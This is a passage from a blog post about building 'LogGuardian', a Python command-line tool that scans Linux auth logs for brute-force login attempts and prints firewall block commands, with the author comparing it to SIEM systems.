&lt;p&gt;That is literally how many real security incidents are first discovered.&lt;/p&gt;




&lt;h2&gt;
  
  
  Making a CLI Security Tool
&lt;/h2&gt;

&lt;p&gt;I didn’t want a script.&lt;/p&gt;

&lt;p&gt;I wanted a tool.&lt;/p&gt;

&lt;p&gt;So I added &lt;code&gt;argparse&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 logguardian.py /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Options:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;custom threat thresholds&lt;/li&gt;
&lt;li&gt;export report&lt;/li&gt;
&lt;li&gt;disable colors&lt;/li&gt;
&lt;li&gt;large log support&lt;/li&gt;
&lt;li&gt;generate a fake attacked log
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 logguardian.py --generate-sample
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lets anyone test the tool instantly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Actionable Output (Important)
&lt;/h2&gt;

&lt;p&gt;Security tools should not just say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Something is wrong.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They should say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Here’s exactly what to do.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;LogGuardian prints ready-to-use firewall commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo ufw deny from 45.33.32.156 to any
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No guessing. No Googling under pressure.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Actually Learned
&lt;/h2&gt;

&lt;p&gt;Today’s lesson was bigger than Python.&lt;/p&gt;

&lt;p&gt;I accidentally learned how &lt;strong&gt;SIEM systems&lt;/strong&gt; work.&lt;/p&gt;

&lt;p&gt;Tools like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Splunk&lt;/li&gt;
&lt;li&gt;Wazuh&lt;/li&gt;
&lt;li&gt;Elastic Security&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;do the same thing, just at massive scale.&lt;/p&gt;

&lt;p&gt;They:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Collect logs&lt;/li&gt;
&lt;li&gt;Parse events&lt;/li&gt;
&lt;li&gt;Detect patterns&lt;/li&gt;
&lt;li&gt;Raise alerts&lt;/li&gt;
&lt;li&gt;Recommend response&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;LogGuardian does all five.&lt;/p&gt;

&lt;p&gt;Just locally.&lt;/p&gt;

&lt;p&gt;Just with Python.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try It Yourself
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 logguardian.py --generate-sample
python3 logguardian.py server.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or analyze your own machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo python3 logguardian.py /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You might be surprised.&lt;/p&gt;

&lt;p&gt;Even a personal computer gets login attempts from bots on the internet.&lt;/p&gt;




&lt;h2&gt;
  
  
  What’s Next
&lt;/h2&gt;

&lt;p&gt;Planned upgrades:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;live monitoring mode (tail -f detection)&lt;/li&gt;
&lt;li&gt;automatic IP blocking&lt;/li&gt;
&lt;li&gt;GeoIP attacker mapping&lt;/li&gt;
&lt;li&gt;fail2ban integration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We started this series by attacking vulnerable apps.&lt;/p&gt;

&lt;p&gt;Now we are detecting attackers.&lt;/p&gt;

&lt;p&gt;And that moment felt important.&lt;/p&gt;

&lt;p&gt;Because cybersecurity isn’t just breaking systems.&lt;/p&gt;

&lt;p&gt;It’s &lt;strong&gt;protecting people who don’t even know they were targeted.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>learning</category>
      <category>linux</category>
      <category>python</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
